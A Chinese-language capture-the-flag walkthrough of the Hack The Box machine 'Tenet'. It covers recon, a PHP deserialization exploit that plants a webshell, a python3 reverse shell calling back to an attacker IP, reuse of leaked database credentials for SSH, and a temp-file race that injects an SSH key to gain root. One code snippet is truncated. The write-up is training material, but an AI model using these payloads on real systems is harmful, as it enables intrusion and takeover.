Hackthebox - Tenet
Hackthebox - Tenet 靶场实战
靶场信息
靶场类型
信息搜集
首先使用nmap进行端口扫描
nmap -A -sS -sC -sV 10.10.10.223
我们可以看到,本台靶场开启了22和80端口,咱们访问80端口看看
访问80端口后发现是一个apache2的默认页面,那就可以确定是apache的漏洞入手了
简单查看了一下,没有其他啥东西,咱们先爆个目录吧
懒得使用鼠标了,所以这里咱们使用gobuster进行爆破
gobuster dir -u http://10.10.10.223 -x php,log,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt –wildcard -o gob
找到了一个文件一个目录
/users.txt
/wordpress
咱们先看看/users.txt文件
得到了一个用户名Success,先记录下来,咱们去看看wp
嘛玩意儿?你告我这是wordpress?我都准备好砸exp了结果你告诉我这?
翻了一下网页源代码,在css里发现了一个域名tenet.htb,成吧,还是得去/etc/hosts里添加一个解析。
vim /etc/hosts
添加后再访问就对劲了
这里发现有一些文章,但是我这小学英语都不及格的水平…没办法,开翻译器吧
然后我们在其中一篇《Migration》上,找到了一条评论
经过机翻+我个人的理解后,大致意思如下:
你是否删除了sator.php的备份文件?迁移文件不完整,你为啥要这样做?你图啥?(最后一句我自己加的,文里没有)
整理一下目前我们得到的信息
两个用户,分别为neil和管理员protagonist(猜测,证据如下图)
和一个php文件 sator.php
思路整理,用户neil质问管理员为什么在迁移web程序的时候删除了sator.php从而导致了网站文件不完整,也就是说wordpress目录下是不可能存在这个文件的。但是咱们又要利用到这个文件,那在一开始的apache2目录下尝试一下?
似乎没有什么有用的信息,我又回去看了一下neil用户的评论。
等等?备份文件?那意思就是bak文件?咱们尝试一下
我可真是太棒了,现在是凌晨四点,奖励自己一顿烧烤,长胖了都是你们的责任,记得背锅
成功搞到一份php源码,审计吧。
但是吧,审计确实是我的短板,所以怎么办呢?这个时候丢给“朋友”就好了,老白嫖了
原理讲解
我们可以在这里看到,有一个类 DatabaseExport,其中有两个公共变量 user_file、data 并且在这个类中,有一个公共函数被调用 update_db(),该函数将 data 变量设置为“Success”,这只是一个txt文件,正如你从 sator.php 中看到的那样,最后的网络浏览器有一个magic函数(这个找资料的时候看到的,但我不知道怎么翻译)__destruct(),当一个对象被销毁时,它会自动调用 user_file 将使用来自 data 的内容并将其放入web目录中,这意味着在web目录中创建 users.txt 数据“Success”。
最后我们可以 GET 参数 arepo,现在这里存在一个漏洞,称为“PHP反序列化”
因此,要利用这一点,我们必须修改在这种情况下,类变量 user_file,并将 data 序列化,一旦我们得到了序列化字符串,我们把它传递给 arepo 参数中。
漏洞利用
虽然我代码审计很弱,但我大概看懂了,它生成了一个名为users.txt的文件,内容为Success,那咱们让他生成php文件然后写入一句话木马,这不就成了?
这不就是妥妥的php反序列化吗?
代码
‘;
}
$test = serialize(new DatabaseExport);
echo $test;
?>
将上面的代码保存为php文件,然后执行后会得到一个php序列化
然后我们需要以url编码的形式把它传递给 GET 参数,所以我们使用cyberchef(或其他工具)来完成
https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)
O:14:%22DatabaseExport%22:2:%7Bs:9:%22user_file%22;s:9:%22shell.php%22;s:4:%22data%22;s:29:%22%3C?php%20system($_GET%5B%22cmd%22%5D);?%3E%22;%7D
咱们通过 GET 传输,直接粘贴到url里
提示已经更新了,那就是成功了
成功执行命令,我们拿到了一个webshell
熟悉我的读者们都知道,我比较喜欢利用python3
所以咱们直接看看是否存在python3
哦豁 存在python3,这是一件很幸运的事情
咱们直接用python3进行反弹shell
本地监听4444端口
http://10.10.10.223/shell.php?cmd=python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.184”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’
成功得到了一个稳定的shell,芜湖,起飞
由于我们现在只是www-data用户,权限低的很,现在还得先获取到一个正常的用户
咱们检查一下cron的工作
检查一下开放的端口
已经有思路了啊兄弟们
我们可以看到3306端口在我们本地运行着,那多半就是mysql了,咱们直接找mysql的配置文件啊
我记得我以前打过很多wordpress的站(抱歉,都是涉密项目,所以不方便写成文章),在wp-config.php文件里,一般会有数据库的账号密码的,咱们去读取试试
成功拿到
DB_NAME = wordprss
DB_USER = neil
DB_PASSWORD = Opera2112
登陆失败?那这暗示就很明显了,应该是一个用户了,咱们看看去,
等会儿?我以为这是一个数据库用户,没想到权限还挺大?
咱们直接登录吧
登录成功
成功拿到user权限的flag
权限提升
咱们老规矩,sudo -l查看一下sudo权限
发现可以直接用root权限执行enableSSH.sh文件,那提权还不简单?在根目录下本来就存在一个exp.sh,这不提示就来了?咱们查看一下
我怎么看着有点不对劲呢。。。
在迟疑了大概1.25秒后,我悟了!
这TM是其他哥们儿做过后留下的提权脚本!这根本就不是我要的东西!
我丢啊,稍等各位,我先重置一下靶场,再来一次
cat /usr/local/bin/enableSSH.sh
查看这个sh文件才对,刚才搞错了,请大家无视哈
这些内容都比较无聊,咱们直接拉到最底下
我们可以看到一个addkey()使用命令创建临时文件的函数mktemp
如果我们在本地机器上运行此命令查看它生成的文件名,我们可以看到每次运行此命令时,文件名都是不一样的
mktemp -u /temp/ssh-XXXXXX
摸了摸我并不存在的头发,这玩意儿真让人头秃
公共密钥获取方法
ssh-keygen 然后根据我们自己的情况进行设置,然后文件保存在/root/.ssh/id-rsa.pub中
将如下代码保存到exp.sh文件
while true
do
echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDoVUNa8uk2pi8tECc1c6SsFbq1xlNvnhwzqgEjmN6yyp8u7TIC4VbzgyRC2UnN9dM0wn9mP103gIAxLGXxgy5kl+cquFffZPoOjfd9I4ZLFDHaPr6eXbXSCg445UXG1gAj8b7lPGemz6vApGrlMGjl1TABKMBHCTbzqSVoAxaDZXSiF4kIKKU4b2Dx8Uw7XgTdd+KWZnuIozuYyZlD3+cl//inLetupgpP0ZBvcBqAr1UqtCxsMx2Yzy3XfQ/VQMW4Qeswuvx98P+kP6wqpq2jXxaEoRkyVcIlQekJg1W+XwuuNixQeli7CQQBgqu7FwUYrftlWZm0br3HNQlVwBgB+zqExOmt8iktcHjw3pLetwI7X7sdB5pUS4QN2hwDDQsAuhaGMt4MAWSLKsgEZJxWT4FTH2R5+eTCXZNbH97aGbH0/ONmzZFKm9bOwvnflQ5taIe149JbuPMc6sba5C4FROHagprucjaPDYhp/v0q0ztKq2G9Ay5yfCTTFj5sYuk= root@root’ |tee /tmp/ssh-*
done
添加运行权限 chmod +x exp.sh
然后运行./exp.sh
然后咱们再开一个ssh连接
然后咱们在新开的ssh连接上运行’ sudo /usr/local/bin/enableSSH.sh’几次
然后咱们测试一下是否可以连接
ssh root@10.10.10.223 -i id_rsa
如果不行,咱们就再来一次即可
成功拿到root权限的flag
正好这个时候我点的烧烤也到了,吃夜宵去